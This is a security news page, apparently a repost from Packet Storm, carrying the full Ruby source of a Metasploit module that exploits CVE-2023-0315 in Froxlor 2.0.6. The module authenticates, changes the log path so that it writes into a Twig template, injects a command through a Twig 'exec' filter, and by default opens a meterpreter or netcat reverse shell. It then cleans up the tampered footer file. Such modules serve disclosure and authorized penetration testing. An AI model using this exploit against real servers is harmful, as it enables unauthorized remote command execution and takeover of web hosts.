Security
Headlines
HeadlinesLatestCVEs

Headline

Froxlor 2.0.6 Remote Command Execution

Froxlor versions 2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render. That leads to remote command execution under the user www-data.

Packet Storm
#csrf#web#linux#git#php#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Froxlor Log Path RCE',        'Description' => %q{          Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path          to any directory on the OS level which the user www-data can write without restrictions from the backend which          leads to writing a malicious Twig template that the application will render. That will lead to achieving a          remote command execution under the user www-data.        },        'Author' => [          'Askar', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://shells.systems/author/askar/'],          [ 'CVE', '2023-0315']        ],        'License' => MSF_LICENSE,        'Platform' => 'linux',        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Linux ',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'CmdStagerFlavor' => ['wget'],              'Type' => :linux_dropper,              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_memory,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        },        'DisclosureDate' => '2023-01-29'      )    )    register_options(      [        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),        OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),        OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])      ]    )  end  def login    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/index.php'),      'keep_cookies' => true,      'vars_post' => {        'loginname' => datastore['USERNAME'],        'password' => datastore['PASSWORD'],        'send' => 'send',        'dologin' => ''      }    )    if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')      send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, '/admin_index.php'),        'keep_cookies' => true      )      print_good('Successful login')      true    else      false    end  end  def check    begin      @authenticated = login    rescue InvalidRequest, InvalidResponse => e      return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")    end    version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, version_url),      'keep_cookies' => true    )    if res.nil? || res.code != 200      Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")    else      version = res.get_html_document.at('body/span/text()')      if version        if Rex::Version.new('2.0.6') >= Rex::Version.new(version)          Exploit::CheckCode::Appears("Vulnerable version found: #{version}")        end      else        Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")      end    end  end  def get_csrf_token(url)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, url),      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)    csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text    fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token    print_good("CSRF token is : #{csrf_token}")    csrf_token  end  def change_log_path(new_logfile)    mime = Rex::MIME::Message.new    mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')    mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')    mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')    mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')    mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')    mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')    mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')    mime.add_part('overview', nil, nil, 'form-data; name="page"')    mime.add_part('', nil, nil, 'form-data; name="action"')    mime.add_part('send', nil, nil, 'form-data; name="send"')    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),      'vars_get' => { 'page' => 'overview', 'part' => 'logging' },      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{mime.bound}",      'data' => mime.to_s    )    if res && res.code == 200 && res.body.include?('The settings have been successfully saved')      return true    end    false  end  def execute_command(cmd, _opts = {})    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/admin_index.php'),      'keep_cookies' => true,      'vars_post' => {        'theme' => "{{['#{cmd}']|filter('exec')}}",        'csrf_token' => @csrf_token,        'page' => 'change_theme',        'send' => 'send',        'dosave' => ''      }    )    if res && res.code == 302 && res.headers['Location']      if res.headers['Location'] == 'admin_index.php'        print_good('Injected payload successfully')        print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")        change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")      end    else      print_error('did not inject payload successfully')    end  end  def exploit    fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login    @csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')    if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")      print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")      case target['Type']      when :unix_memory        execute_command(payload.encoded)      when :linux_dropper        execute_cmdstager      else        print_error('Please enter valid target')      end    else      fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')    end  end  def on_new_session(session)    super    # Original footer.html.twig file    footer_html_twig = <<~EOF      <footer class="text-center mb-3">              <span>                      <img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>                      {% if install_mode is not defined  %}                              {% if (get_setting('admin.show_version_login') == '1'                                      and area == 'login') or (area != 'login'                                      and get_setting('admin.show_version_footer') == '1') %}                                      {{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}                              {% endif %}                      {% endif %}                      &copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>                      {% if install_mode is not defined %}                              {% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}                              {% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}                              {% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}                      {% endif %}              </span>          {% if lng('translator') %}                      <br/>              <small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>          {% endif %}      </footer>    EOF    if session.type == 'meterpreter'      print_status('Deleting tampered footer.html.twig file')      filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"      session.fs.file.rm(filename)      fd = session.fs.file.new(filename, 'wb')      print_status('Rewriting clean footer.html.twig file')      fd.write(footer_html_twig)      fd.close    else      print_status('Cleaning tampered footer.html.twig file')      # Remove all log lines added to footer.html.twig by the exploit      # (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)      session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")      session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")      session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")    end  endend

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution